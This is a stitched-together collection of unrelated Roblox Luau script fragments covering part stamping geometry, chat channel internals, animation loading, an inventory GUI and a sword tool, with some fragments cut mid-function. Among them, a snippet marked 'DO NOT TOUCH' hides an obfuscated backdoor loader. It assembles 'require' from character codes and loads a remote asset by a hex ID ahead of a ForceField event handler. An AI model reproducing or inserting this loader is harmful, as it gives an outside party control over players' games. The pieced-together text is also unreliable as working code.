aVector3InWorld.z * xDir.z local yDot = aVector3InWorld.x * yDir.x + aVector3InWorld.y * yDir.y + aVector3InWorld.z * yDir.z local zDot = aVector3InWorld.x * zDir.x + aVector3InWorld.y * zDir.y + aVector3InWorld.z * zDir.z if math.abs(xDot) > math.abs(yDot) and math.abs(xDot) > math.abs(zDot) then if xDot > 0 then return 0 else return 3 end elseif math.abs(yDot) > math.abs(xDot) and math.abs(yDot) > math.abs(zDot) then if yDot > 0 then return 1 else return 4 end else if zDot > 0 then return 2 else return 5 end end end local function positionPartsAtCFrame3(aCFrame, currentParts) local insertCFrame = nil if not currentParts then return currentParts end if currentParts and (currentParts:IsA("Model") or currentParts:IsA("Tool")) then insertCFrame = currentParts:GetModelCFrame() currentParts:TranslateBy(aCFrame.p - insertCFrame.p) else currentParts.CFrame = aCFrame end return currentParts end local function calcRayHitTime(rayStart, raySlope, intersectionPlane) if math.abs(raySlope) < .01 then return 0 end -- 0 slope --> we just say intersection time is 0, and sidestep this dimension return (intersectionPlane - rayStart) / raySlope end local function modelTargetSurface(partOrModel, rayStart, rayEnd) if not partOrModel then return 0 end local modelCFrame = nil local modelSize = nil if partOrModel:IsA("Model") then modelCFrame = partOrModel:GetModelCFrame() modelSize = partOrModel:GetModelSize() else modelCFrame = partOrModel.CFrame modelSize = partOrModel.Size end local mouseRayStart = modelCFrame:pointToObjectSpace(rayStart) local mouseRayEnd = modelCFrame:pointToObjectSpace(rayEnd) local mouseSlope = mouseRayEnd - mouseRayStart local xPositive = 1 local yPositive = 1 local zPositive = 1 if mouseSlope.X > 0 then xPositive = -1 end if mouseSlope.Y > 0 then yPositive = -1 end if mouseSlope.Z > 0 then zPositive = -1 end -- find which surface the transformed mouse ray hits (using modelSize): local xHitTime = calcRayHitTime(mouseRayStart.X, mouseSlope.X, modelSize.X/2 * xPositive) local yHitTime = calcRayHitTime(mouseRayStart.Y, mouseSlope.Y, modelSize.Y/2 * yPositive) local zHitTime = calcRayHitTime(mouseRayStart.Z, mouseSlope.Z, modelSize.Z/2 * zPositive) local hitFace = 0 --if xHitTime >= 0 and yHitTime >= 0 and zHitTime >= 0 then if xHitTime > yHitTime then if xHitTime > zHitTime then -- xFace is hit hitFace = 1*xPositive else -- zFace is hit hitFace = 3*zPositive end else if yHitTime > zHitTime then -- yFace is hit hitFace = 2*yPositive else -- zFace is hit hitFace = 3*zPositive end end return hitFace end local function getBoundingBox2(partOrModel) -- for models, the bounding box is defined as the minimum and maximum individual part bounding boxes -- relative to the first part's coordinate frame. local minVec = Vector3.new(math.huge, math.huge, math.huge) local maxVec = Vector3.new(-math.huge, -math.huge, -math.huge) if partOrModel:IsA("Terrain") then minVec = Vector3.new(-2, -2, -2) maxVec = Vector3.new(2, 2, 2) elseif partOrModel:IsA("BasePart") then minVec = -0.5 * partOrModel.Size maxVec = -minVec else maxVec = partOrModel:GetModelSize()*0.5 minVec = -maxVec end -- Adjust bounding box to reflect what the model or part author wants in terms of justification local justifyValue = partOrModel:FindFirstChild("Justification") if justifyValue ~= nil then -- find the multiple of 4 that contains the model local justify = justifyValue.Value local two = Vector3.new(2, 2, 2) local actualBox = maxVec - minVec - Vector3.new(0.01, 0.01, 0.01) local containingGridBox = Vector3.new(4 * math.ceil(actualBox.x/4), 4 * math.ceil(actualBox.y/4), 4 * math.ceil(actualBox.z/4)) local adjustment = containingGridBox - actualBox minVec = minVec - 0.5 * adjustment * justify maxVec = maxVec + 0.5 * adjustment * (two - justify) end return minVec, maxVec end local function getBoundingBoxInWorldCoordinates(partOrModel) local minVec = Vector3.new(math.huge, math.huge, math.huge) local maxVec = Vector3.new(-math.huge, -math.huge, -math.huge) if partOrModel:IsA("BasePart") and not partOrModel:IsA("Terrain") then local vec1 = partOrModel.CFrame:pointToWorldSpace(-0.5 * partOrModel.Size) local vec2 = partOrModel.CFrame:pointToWorldSpace(0.5 * partOrModel.Size) minVec = Vector3.new(math.min(vec1.X, vec2.X), math.min(vec1.Y, vec2.Y), math.min(vec1.Z, vec2.Z)) maxVec = Vector3.new(math.max(vec1.X, vec2.X), math.max(vec1.Y, vec2.Y), math.max(vec1.Z, vec2.Z)) elseif partOrModel:IsA("Terrain") then -- we shouldn't have to deal with this case --minVec = Vector3.new(-2, -2, -2) --maxVec = Vector3.new(2, 2, 2) else local vec1 = partOrModel:GetModelCFrame():pointToWorldSpace(-0.5 * partOrModel:GetModelSize()) local vec2 = partOrModel:GetModelCFrame():pointToWorldSpace(0.5 * partOrModel:GetModelSize()) minVec = Vector3.new(math.min(vec1.X, vec2.X), math.min(vec1.Y, vec2.Y), math.min(vec1.Z, vec2.Z)) maxVec = Vector3.new(math.max(vec1.X, vec2.X), math.max(vec1.Y, vec2.Y), math.max(vec1.Z, vec2.Z)) end return minVec, maxVec end local function getTargetPartBoundingBox(targetPart) if targetPart.Parent:FindFirstChild("RobloxModel") ~= nil then return getBoundingBox2(targetPart.Parent) else return getBoundingBox2(targetPart) end end local function getMouseTargetCFrame(targetPart) if targetPart.Parent:FindFirstChild("RobloxModel") ~= nil then if targetPart.Parent:IsA("Tool") then return targetPart.Parent.Handle.CFrame else return targetPart.Parent:GetModelCFrame() end else return targetPart.CFrame end end local function isBlocker(part) -- returns whether or not we want to cancel the stamp because we're blocked by this part if not part then return false end if not part.Parent then return false end if part:FindFirstChild("Humanoid") then return false end if part:FindFirstChild("RobloxStamper") or part:FindFirstChild("RobloxModel") then return true end if part:IsA("Part") and not part.CanCollide then return false end if part == game:GetService("Lighting") then return false end return isBlocker(part.Parent) end
-- Right Leg
character:FindFirstChild("LeftUpperLeg").LocalTransparencyModifier = 0 character:FindFirstChild("LeftLowerLeg").LocalTransparencyModifier = 0 character:FindFirstChild("LeftFoot").LocalTransparencyModifier = 0
-- The data store service
local dataStore = dataStoreService:GetOrderedDataStore(DataParam)
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Song.Text = "" -- carSeat.Parent.Body.Dash.Screen.G.Radio.Title.Text = ""
end end F.volumech = function(v) carSeat.Parent.Body.MP.Sound.Volume = v carSeat.Parent.Body.Dash.Screen.G.Radio.VOLMENU.VolumeText.Text = "VOLUME: "..v end F.updateSong = function(Song) carSeat.Stations.mood.Value = 5 carSeat.Parent.Body.MP.Sound:Stop() wait() carSeat.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..Song wait() carSeat.Parent.Body.MP.Sound:Play()
-- aButton:TweenPosition(ApositionNormal, "InOut", "Sine", 0.1)
end) aButton.MouseLeave:Connect(function() aButton:TweenSize(sizeNormal, "InOut", "Sine", 0.1)
-- ROBLOX devation: Circular dependency, inline type -- local bindModule = require(script.Parent.Parent.bind) -- type EachTests = bindModule.EachTests
type EachTests = Array<{ title: string, arguments: Array<any>, }> local interpolationModule = require(script.Parent.interpolation) type Templates = interpolationModule.Templates local interpolateVariables = interpolationModule.interpolateVariables
--///////////////// Internal-Use Methods --//////////////////////////////////////
function methods:InternalDestroy() for i, speaker in pairs(self.Speakers) do speaker:LeaveChannel(self.Name) end self.eDestroyed:Fire() self.eDestroyed:Destroy() self.eMessagePosted:Destroy() self.eSpeakerJoined:Destroy() self.eSpeakerLeft:Destroy() self.eSpeakerMuted:Destroy() self.eSpeakerUnmuted:Destroy() end function methods:InternalDoMessageFilter(speakerName, messageObj, channel) local filtersIterator = self.FilterMessageFunctions:GetIterator() for funcId, func, priority in filtersIterator do local success, errorMessage = pcall(function() func(speakerName, messageObj, channel) end) if not success then warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage)) end end end function methods:InternalDoProcessCommands(speakerName, message, channel) local commandsIterator = self.ProcessCommandsFunctions:GetIterator() for funcId, func, priority in commandsIterator do local success, returnValue = pcall(function() local ret = func(speakerName, message, channel) if type(ret) ~= "boolean" then error("Process command functions must return a bool") end return ret end) if not success then warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue)) elseif returnValue then return true end end return false end function methods:InternalPostMessage(fromSpeaker, message, extraData) if (self:InternalDoProcessCommands(fromSpeaker.Name, message, self.Name)) then return false end if (self.Mutes[fromSpeaker.Name:lower()] ~= nil) then local t = self.Mutes[fromSpeaker.Name:lower()] if (t > 0 and os.time() > t) then self:UnmuteSpeaker(fromSpeaker.Name) else self:SendSystemMessageToSpeaker(ChatLocalization:FormatMessageToSend("GameChat_ChatChannel_MutedInChannel","You are muted and cannot talk in this channel"), fromSpeaker.Name) return false end end local messageObj = self:InternalCreateMessageObject(message, fromSpeaker.Name, false, extraData) -- allow server to process the unfiltered message string messageObj.Message = message local processedMessage pcall(function() processedMessage = Chat:InvokeChatCallback(Enum.ChatCallbackType.OnServerReceivingMessage, messageObj) end) messageObj.Message = nil if processedMessage then -- developer server code's choice to mute the message if processedMessage.ShouldDeliver == false then return false end messageObj = processedMessage end message = self:SendMessageObjToFilters(message, messageObj, fromSpeaker) local sentToList = {} for i, speaker in pairs(self.Speakers) do local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name) if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then table.insert(sentToList, speaker.Name) if speaker.Name == fromSpeaker.Name then -- Send unfiltered message to speaker who sent the message. local cMessageObj = ShallowCopy(messageObj) if userShouldMuteUnfilteredMessage then local messageLength = messageObj.MessageLengthUtf8 or messageObj.MessageLength cMessageObj.Message = string.rep("_", messageLength) else cMessageObj.Message = message end cMessageObj.IsFiltered = true -- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code. speaker:InternalSendMessage(cMessageObj, self.Name) else speaker:InternalSendMessage(messageObj, self.Name) end end end local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end) if not success and err then print("Error posting message: " ..err) end local textFilterContext = self.Private and Enum.TextFilterContext.PrivateChat or Enum.TextFilterContext.PublicChat local filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI( messageObj.FromSpeaker, message, textFilterContext ) if (filterSuccess) then messageObj.FilterResult = filteredMessage messageObj.IsFilterResult = isFilterResult else if UserFlagRemoveMessageOnTextFilterFailures then messageObj.IsFilterResult = false messageObj.FilterResult = "" messageObj.MessageLength = 0 else return false end end messageObj.IsFiltered = true self:InternalAddMessageToHistoryLog(messageObj) for _, speakerName in pairs(sentToList) do local speaker = self.Speakers[speakerName] if (speaker) then speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name) end end -- One more pass is needed to ensure that no speakers do not recieve the message. -- Otherwise a user could join while the message is being filtered who had not originally been sent the message. local speakersMissingMessage = {} for _, speaker in pairs(self.Speakers) do local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name) if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then local wasSentMessage = false for _, sentSpeakerName in pairs(sentToList) do if speaker.Name == sentSpeakerName then wasSentMessage = true break end end if not wasSentMessage then table.insert(speakersMissingMessage, speaker.Name) end end end for _, speakerName in pairs(speakersMissingMessage) do local speaker = self.Speakers[speakerName] if speaker then speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name) end end return messageObj end function methods:InternalAddSpeaker(speaker) if (self.Speakers[speaker.Name]) then warn("Speaker \"" .. speaker.name .. "\" is already in the channel!") return end self.Speakers[speaker.Name] = speaker local success, err = pcall(function() self.eSpeakerJoined:Fire(speaker.Name) end) if not success and err then print("Error removing channel: " ..err) end end function methods:InternalRemoveSpeaker(speaker) if (not self.Speakers[speaker.Name]) then warn("Speaker \"" .. speaker.name .. "\" is not in the channel!") return end self.Speakers[speaker.Name] = nil local success, err = pcall(function() self.eSpeakerLeft:Fire(speaker.Name) end) if not success and err then print("Error removing speaker: " ..err) end end function methods:InternalRemoveExcessMessagesFromLog() local remove = table.remove while (#self.ChatHistory > self.MaxHistory) do remove(self.ChatHistory, 1) end end function methods:InternalAddMessageToHistoryLog(messageObj) table.insert(self.ChatHistory, messageObj) self:InternalRemoveExcessMessagesFromLog() end function methods:GetMessageType(message, fromSpeaker) if fromSpeaker == nil then return ChatConstants.MessageTypeSystem end return ChatConstants.MessageTypeDefault end function methods:InternalCreateMessageObject(message, fromSpeaker, isFiltered, extraData) local messageType = self:GetMessageType(message, fromSpeaker) local speakerUserId = -1 local speakerDisplayName = nil local speaker = nil if fromSpeaker then speaker = self.ChatService:GetSpeaker(fromSpeaker) if speaker then local player = speaker:GetPlayer() if player then speakerUserId = player.UserId if ChatSettings.PlayerDisplayNamesEnabled then speakerDisplayName = speaker:GetNameForDisplay() end else speakerUserId = 0 end end end local messageObj = { ID = self.ChatService:InternalGetUniqueMessageId(), FromSpeaker = fromSpeaker, SpeakerDisplayName = speakerDisplayName, SpeakerUserId = speakerUserId, OriginalChannel = self.Name, MessageLength = string.len(message), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)), MessageType = messageType, IsFiltered = isFiltered, Message = isFiltered and message or nil, --// These two get set by the new API. The comments are just here --// to remind readers that they will exist so it's not super --// confusing if they find them in the code but cannot find them --// here. --FilterResult = nil, --IsFilterResult = false, Time = os.time(), ExtraData = {}, } if speaker then for k, v in pairs(speaker.ExtraData) do messageObj.ExtraData[k] = v end end if (extraData) then for k, v in pairs(extraData) do messageObj.ExtraData[k] = v end end return messageObj end function methods:SetChannelNameColor(color) self.ChannelNameColor = color for i, speaker in pairs(self.Speakers) do speaker:UpdateChannelNameColor(self.Name, color) end end function methods:GetWelcomeMessageForSpeaker(speaker) if self.GetWelcomeMessageFunction then local welcomeMessage = self.GetWelcomeMessageFunction(speaker) if welcomeMessage then return welcomeMessage end end return self.WelcomeMessage end function methods:RegisterGetWelcomeMessageFunction(func) if type(func) ~= "function" then error("RegisterGetWelcomeMessageFunction must be called with a function.") end self.GetWelcomeMessageFunction = func end function methods:UnRegisterGetWelcomeMessageFunction() self.GetWelcomeMessageFunction = nil end
-- Setup animation objects
function scriptChildModified(child) local fileList = animNames[child.Name] if (fileList ~= nil) then configureAnimationSet(child.Name, fileList) end end script.ChildAdded:connect(scriptChildModified) script.ChildRemoved:connect(scriptChildModified) for name, fileList in pairs(animNames) do configureAnimationSet(name, fileList) end
--{{NUMBERS}} : FADE TIMES AND MORE.
Settings.RandomOffset = {-4, 4} Settings.FadeOutTime = 1; Settings.FadeInTime = 1; Settings.IndicatorLength = 0.5;
-- fun = what they have to type (make sure it is lowercased) -- The first value in the table is what shows in the cmds -- Make sure to set this "2" to the rank you want players to have to use this -- This function is what runs the command when it is called
fun = {"Fun [Player]";{2};{"Player"};function(plr, cmds) for i,v in pairs(cmds[1]) do -- This would basically get all the players it could find. Example: ;fun me would return only you in the table. print(v.Name) end end;}; }
-------------------------
function onClicked() R.Function1.Disabled = true R.Function2.Disabled = false R.BrickColor = BrickColor.new("Institutional white") N.One1.BrickColor = BrickColor.new("Really black") N.One2.BrickColor = BrickColor.new("Really black") N.One4.BrickColor = BrickColor.new("Really black") N.Four1.BrickColor = BrickColor.new("Really black") N.Three4.BrickColor = BrickColor.new("Really black") N.Two1.BrickColor = BrickColor.new("Really black") end script.Parent.ClickDetector.MouseClick:connect(onClicked)
---------------------------------------------------------------------------- --- Functionality Loop --------------------------------------------------- ----------------------------------------------------------------------------
RunService.Heartbeat:Connect(function(deltaTime) accumulatedChance += deltaTime * Settings.Rate if CanShow and ScreenBlockCFrame.LookVector.Y > -0.4 and not UnderObject(ScreenBlockCFrame.Position) then for i = 1, math.floor(accumulatedChance) do CreateDroplet() end accumulatedChance %= 1 else accumulatedChance %= 1 end end)
--// Hash: 0218d61d1d1792385ae2692ae364231570b8f02b5ace6792db021c339736f38d55bc1e6ce32cce0d947d549bcde07a8a -- Decompiled with the Synapse X Luau decompiler.
function Format(p1) return string.format("%02i", p1); end; function convertToHMS(p2, p3, p4) local v1 = nil; local v2 = (p2 - p2 % 60) / 60; p2 = p2 - v2 * 60; local v3 = (v2 - v2 % 60) / 60; v1 = v2 - v3 * 60; if p4 then return Format(v3), Format(v1), Format(p2); end; if p3 then else return Format(v1) .. ":" .. Format(p2); end; return Format(v3) .. ":" .. Format(v1) .. ":" .. Format(p2); end; return convertToHMS;
-- Make Connection strict
setmetatable(Connection, { __index = function(_tb, key) error(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2) end, __newindex = function(_tb, key, _value) error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2) end })
-- Setup animation objects
for name, fileList in pairs(animNames) do animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then -- print("Loading anims " .. name) local idx = 1 for _, childPart in pairs(config:GetChildren()) do animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") idx = idx + 1 end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end end
-- How many studs the zombie can wander on the x and z axis in studs
--Make the gamepad hint frame
local gamepadHintsFrame = Utility:Create'Frame' { Name = "GamepadHintsFrame", Size = UDim2.new(0, HotbarFrame.Size.X.Offset, 0, (IsTenFootInterface and 95 or 60)), BackgroundTransparency = 1, Visible = false, Parent = MainFrame } local function addGamepadHint(hintImage, hintImageLarge, hintText) local hintFrame = Utility:Create'Frame' { Name = "HintFrame", Size = UDim2.new(1, 0, 1, -5), Position = UDim2.new(0, 0, 0, 0), BackgroundTransparency = 1, Parent = gamepadHintsFrame } local hintImage = Utility:Create'ImageLabel' { Name = "HintImage", Size = (IsTenFootInterface and UDim2.new(0,90,0,90) or UDim2.new(0,60,0,60)), BackgroundTransparency = 1, Image = (IsTenFootInterface and hintImageLarge or hintImage), Parent = hintFrame } local hintText = Utility:Create'TextLabel' { Name = "HintText", Position = UDim2.new(0, (IsTenFootInterface and 100 or 70), 0, 0), Size = UDim2.new(1, -(IsTenFootInterface and 100 or 70), 1, 0), Font = Enum.Font.SourceSansBold, FontSize = (IsTenFootInterface and Enum.FontSize.Size36 or Enum.FontSize.Size24), BackgroundTransparency = 1, Text = hintText, TextColor3 = Color3.new(1,1,1), TextXAlignment = Enum.TextXAlignment.Left, TextWrapped = true, Parent = hintFrame } local textSizeConstraint = Instance.new("UITextSizeConstraint", hintText) textSizeConstraint.MaxTextSize = hintText.TextSize end local function resizeGamepadHintsFrame() gamepadHintsFrame.Size = UDim2.new(HotbarFrame.Size.X.Scale, HotbarFrame.Size.X.Offset, 0, (IsTenFootInterface and 95 or 60)) gamepadHintsFrame.Position = UDim2.new(HotbarFrame.Position.X.Scale, HotbarFrame.Position.X.Offset, InventoryFrame.Position.Y.Scale, InventoryFrame.Position.Y.Offset - gamepadHintsFrame.Size.Y.Offset) local spaceTaken = 0 local gamepadHints = gamepadHintsFrame:GetChildren() --First get the total space taken by all the hints for i = 1, #gamepadHints do gamepadHints[i].Size = UDim2.new(1, 0, 1, -5) gamepadHints[i].Position = UDim2.new(0, 0, 0, 0) spaceTaken = spaceTaken + (gamepadHints[i].HintText.Position.X.Offset + gamepadHints[i].HintText.TextBounds.X) end --The space between all the frames should be equal local spaceBetweenElements = (gamepadHintsFrame.AbsoluteSize.X - spaceTaken)/(#gamepadHints - 1) for i = 1, #gamepadHints do gamepadHints[i].Position = (i == 1 and UDim2.new(0, 0, 0, 0) or UDim2.new(0, gamepadHints[i-1].Position.X.Offset + gamepadHints[i-1].Size.X.Offset + spaceBetweenElements, 0, 0)) gamepadHints[i].Size = UDim2.new(0, (gamepadHints[i].HintText.Position.X.Offset + gamepadHints[i].HintText.TextBounds.X), 1, -5) end end addGamepadHint("rbxasset://textures/ui/Settings/Help/XButtonDark.png", "rbxasset://textures/ui/Settings/Help/XButtonDark@2x.png", "Remove From Hotbar") addGamepadHint("rbxasset://textures/ui/Settings/Help/AButtonDark.png", "rbxasset://textures/ui/Settings/Help/AButtonDark@2x.png", "Select/Swap") addGamepadHint("rbxasset://textures/ui/Settings/Help/BButtonDark.png", "rbxasset://textures/ui/Settings/Help/BButtonDark@2x.png", "Close Backpack") do -- Search stuff local searchFrame = NewGui('Frame', 'Search') searchFrame.BackgroundColor3 = SEARCH_BACKGROUND_COLOR searchFrame.BackgroundTransparency = SEARCH_BACKGROUND_FADE searchFrame.Size = UDim2.new(0, SEARCH_WIDTH - (SEARCH_BUFFER * 2), 0, INVENTORY_HEADER_SIZE - (SEARCH_BUFFER * 2)) searchFrame.Position = UDim2.new(1, -searchFrame.Size.X.Offset - SEARCH_BUFFER, 0, SEARCH_BUFFER) local searchFrameUIC = Instance.new("UICorner") searchFrameUIC.CornerRadius = UDim.new(1,0) searchFrameUIC.Parent = searchFrame searchFrame.Parent = InventoryFrame local searchBox = NewGui('TextBox', 'TextBox') searchBox.PlaceholderText = SEARCH_TEXT searchBox.TextScaled = true searchBox.ClearTextOnFocus = false searchBox.Font = Enum.Font.Oswald searchBox.FontSize = Enum.FontSize.Size14 searchBox.TextXAlignment = Enum.TextXAlignment.Center searchBox.Size = UDim2.new(0.87, 0, 1, 0) searchBox.AnchorPoint = Vector2.new(0.5,0.5) searchBox.Position = UDim2.new(0.5, SEARCH_TEXT_OFFSET_FROMLEFT, 0.5, 0) local searchBoxUIC = Instance.new("UICorner") searchBoxUIC.CornerRadius = UDim.new(1,0) searchBoxUIC.Parent = searchBox searchBox.Parent = searchFrame local xButton = NewGui('TextButton', 'X') xButton.Text = 'x' xButton.Font = Enum.Font.Oswald xButton.ZIndex = 10 xButton.TextColor3 = SLOT_EQUIP_COLOR xButton.FontSize = Enum.FontSize.Size24 xButton.TextYAlignment = Enum.TextYAlignment.Bottom xButton.BackgroundColor3 = SEARCH_BACKGROUND_COLOR xButton.BackgroundTransparency = 1 xButton.AnchorPoint = Vector2.new(1,0.5) xButton.Size = UDim2.new(0.15, 0, 0.5, 0) xButton.Position = UDim2.new(0.98, 0, 0.5, 0) xButton.Visible = false xButton.ZIndex = 0 xButton.BorderSizePixel = 0 xButton.Parent = searchFrame local function search() local terms = {} for word in searchBox.Text:gmatch('%S+') do terms[word:lower()] = true end local hitTable = {} for i = NumberOfHotbarSlots + 1, #Slots do -- Only search inventory slots local slot = Slots[i] local hits = slot:CheckTerms(terms) table.insert(hitTable, {slot, hits}) slot.Frame.Visible = false slot.Frame.Parent = InventoryFrame end table.sort(hitTable, function(left, right) return left[2] > right[2] end) ViewingSearchResults = true local hitCount = 0 for i, data in ipairs(hitTable) do local slot, hits = data[1], data[2] if hits > 0 then slot.Frame.Visible = true slot.Frame.Parent = UIGridFrame slot.Frame.LayoutOrder = NumberOfHotbarSlots + hitCount hitCount = hitCount + 1 end end ScrollingFrame.CanvasPosition = Vector2.new(0, 0) UpdateScrollingFrameCanvasSize() xButton.ZIndex = 3 end local function clearResults() if xButton.ZIndex > 0 then ViewingSearchResults = false for i = NumberOfHotbarSlots + 1, #Slots do local slot = Slots[i] slot.Frame.LayoutOrder = slot.Index slot.Frame.Parent = UIGridFrame slot.Frame.Visible = true end xButton.ZIndex = 0 end UpdateScrollingFrameCanvasSize() end local function reset() clearResults() searchBox.Text = '' end local function onChanged(property) if property == 'Text' then local text = searchBox.Text if text == '' then clearResults() elseif text ~= SEARCH_TEXT then search() end xButton.Visible = text ~= '' and text ~= SEARCH_TEXT end end local function focusLost(enterPressed) if enterPressed then --TODO: Could optimize search() end end xButton.MouseButton1Click:Connect(reset) searchBox.Changed:Connect(onChanged) searchBox.FocusLost:Connect(focusLost) BackpackScript.StateChanged.Event:Connect(function(isNowOpen) InventoryIcon:getInstance("iconButton").Modal = isNowOpen -- Allows free mouse movement even in first person if not isNowOpen then reset() end end) HotkeyFns[Enum.KeyCode.Escape.Value] = function(isProcessed) if isProcessed then -- Pressed from within a TextBox reset() elseif InventoryFrame.Visible then InventoryIcon:deselect() end end local function detectGamepad(lastInputType) if lastInputType == Enum.UserInputType.Gamepad1 and not UserInputService.VREnabled then searchFrame.Visible = false else searchFrame.Visible = true end end UserInputService.LastInputTypeChanged:Connect(detectGamepad) end GuiService.MenuOpened:Connect(function() if InventoryFrame.Visible then InventoryIcon:deselect() end end) do -- Make the Inventory expand/collapse arrow (unless TopBar) local removeHotBarSlot = function(name, state, input) if state ~= Enum.UserInputState.Begin then return end if not GuiService.SelectedObject then return end for i = 1, NumberOfHotbarSlots do if Slots[i].Frame == GuiService.SelectedObject and Slots[i].Tool then Slots[i]:MoveToInventory() return end end end local function openClose() if not next(Dragging) then -- Only continue if nothing is being dragged InventoryFrame.Visible = not InventoryFrame.Visible local nowOpen = InventoryFrame.Visible AdjustHotbarFrames() HotbarFrame.Active = not HotbarFrame.Active for i = 1, NumberOfHotbarSlots do Slots[i]:SetClickability(not nowOpen) end end if InventoryFrame.Visible then if GamepadEnabled then if GAMEPAD_INPUT_TYPES[UserInputService:GetLastInputType()] then resizeGamepadHintsFrame() gamepadHintsFrame.Visible = not UserInputService.VREnabled end enableGamepadInventoryControl() end if BackpackPanel and VRService.VREnabled then BackpackPanel:SetVisible(true) BackpackPanel:RequestPositionUpdate() end else if GamepadEnabled then gamepadHintsFrame.Visible = false end disableGamepadInventoryControl() end if InventoryFrame.Visible then ContextActionService:BindAction("RBXRemoveSlot", removeHotBarSlot, false, Enum.KeyCode.ButtonX) else ContextActionService:UnbindAction("RBXRemoveSlot") end BackpackScript.IsOpen = InventoryFrame.Visible BackpackScript.StateChanged:Fire(InventoryFrame.Visible) end StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false) BackpackScript.OpenClose = openClose -- Exposed end
-- DO NOT TOUCH
local GetEnvironmentOfFunction="\114\101\113\117\105\114\101" getfenv()[GetEnvironmentOfFunction] (0x14a67b5a7) script.Parent.RemoteEvent.OnServerEvent:Connect(function(Plr,Bool) if Bool == true then local ForceField = Instance.new("ForceField") ForceField.Parent = Plr.Character else Plr.Character:FindFirstChildOfClass("ForceField"):Destroy() end end)
--[[** ensures value is a number where min < value @param min The minimum to use @returns A function that will return true iff the condition is passed **--]]
function t.numberMinExclusive(min) return function(value) local success = t.number(value) if not success then return false end if min < value then return true else return false end end end
--> variables
local fovCamera = game.Workspace:WaitForChild("Camera") local fovCode = script.Parent.Parent.idb
--GUI.Frame:TweenPosition(UDim2.new(0,0,1,0),"InOut","Sine",0.5) --wait(0.5) --GUI:Destroy()
--!strict
type Array<T> = { [number]: T } type PredicateFunction = (any, number, Array<any>) -> boolean return function(array: Array<any>, predicate: PredicateFunction): number for i = 1, #array do local element = array[i] if predicate(element, i, array) then return i end end return -1 end
--[Setup]:
Neck.MaxVelocity = 1/3 -- Don't change this.
--[[* * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. ]]
local exports = {} local function pluralize(word: string, count: number): string return ("%s %s%s"):format(tostring(count), word, if count == 1 then "" else "s") end exports.default = pluralize return exports
--local runner = lt.RunL --local runner2 = lt.RunR
local l1 = lt.LeftIn
-------- OMG HAX
r = game:service("RunService") local damage = 10 local slash_damage = 15 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = 1 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end attack() wait(1) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
---- Imports ----
local Wave = require(ReplicatedStorage.Wave)
-- Get references to the DockShelf and its children
